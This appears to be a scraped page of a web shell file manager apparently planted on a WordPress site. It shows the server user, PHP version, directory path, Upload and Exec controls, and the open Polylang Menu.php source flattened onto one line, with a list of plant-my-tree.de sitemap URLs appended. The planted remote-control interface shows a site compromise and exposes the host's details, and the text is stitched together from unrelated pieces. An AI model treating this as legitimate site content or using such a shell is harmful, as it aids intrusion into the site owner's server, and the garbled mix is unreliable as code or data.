WPR FM
uid=9814(b13i2mwmyrdbxio) php=8.4.28
info
cwd /data/sites/web/b13i2mwmyrdbxio/www |
naik
Buka
-
Abstract_Settings_Legacy.php
5941
x
-
Menu.php
1834
x
-
Settings.php
7296
x
Upload
Simpan
<?php /** * @package Polylang */ namespace WP_Syntex\Polylang\Switcher\Settings; defined( 'ABSPATH' ) || exit; /** * Class that holds the language switcher's settings for a menu. * * @since 3.9 */ class Menu extends Settings { /** * @var string * * @phpstan-var 'horizontal'|'dropdown' */ public string $layout = 'horizontal'; /** * Validates the settings (value and type). * This removes additional keys. * * @since 3.9 * * @param array $settings Switcher settings. * @return array */ protected function validate( array $settings ): array { if ( ! isset( $settings['layout'] ) || in_array( $settings['layout'], array( 'horizontal', 'dropdown' ), true ) ) { return parent::validate( $settings ); } if ( 'select' === $settings['layout'] ) { $settings['layout'] = 'dropdown'; } else { $settings['layout'] = 'horizontal'; } return parent::validate( $settings ); } /** * Converts the legacy structure to the new one. * This preserves the legacy structure's keys. * * @since 3.9 * * @param array $settings The settings. * @return array */ protected function convert_from_legacy( array $settings ): array { $settings = parent::convert_from_legacy( $settings ); $settings['layout'] = ! empty( $settings['dropdown'] ) ? 'dropdown' : 'horizontal'; return $settings; } /** * Converts the new structure to the legacy one. * This preserves the new structure's keys. * * @since 3.9 * * @param array $settings Settings in new structure. * @return array */ protected function convert_to_legacy( array $settings ): array { $args = parent::convert_to_legacy( $settings ); if ( isset( $settings['layout'] ) && 'dropdown' === $settings['layout'] ) { $args['dropdown'] = 1; } else { $args['dropdown'] = 0; } return $args; } }
Exec
https://plant-my-tree.de/post-sitemap1.xml
2026-11-20T10:18:25+01:00
https://plant-my-tree.de/page-sitemap1.xml
2026-12-03T12:53:57+01:00
https://plant-my-tree.de/lp-sitemap1.xml
2026-12-02T08:42:41+01:00
https://plant-my-tree.de/ratgeber-sitemap1.xml
2026-11-24T10:16:19+01:00
https://plant-my-tree.de/aufforstungsflachen-sitemap1.xml
2026-11-23T12:04:20+01:00
https://plant-my-tree.de/blog-sitemap1.xml
2026-11-24T09:10:09+01:00
https://plant-my-tree.de/category-sitemap1.xml
https://plant-my-tree.de/post_tag-sitemap1.xml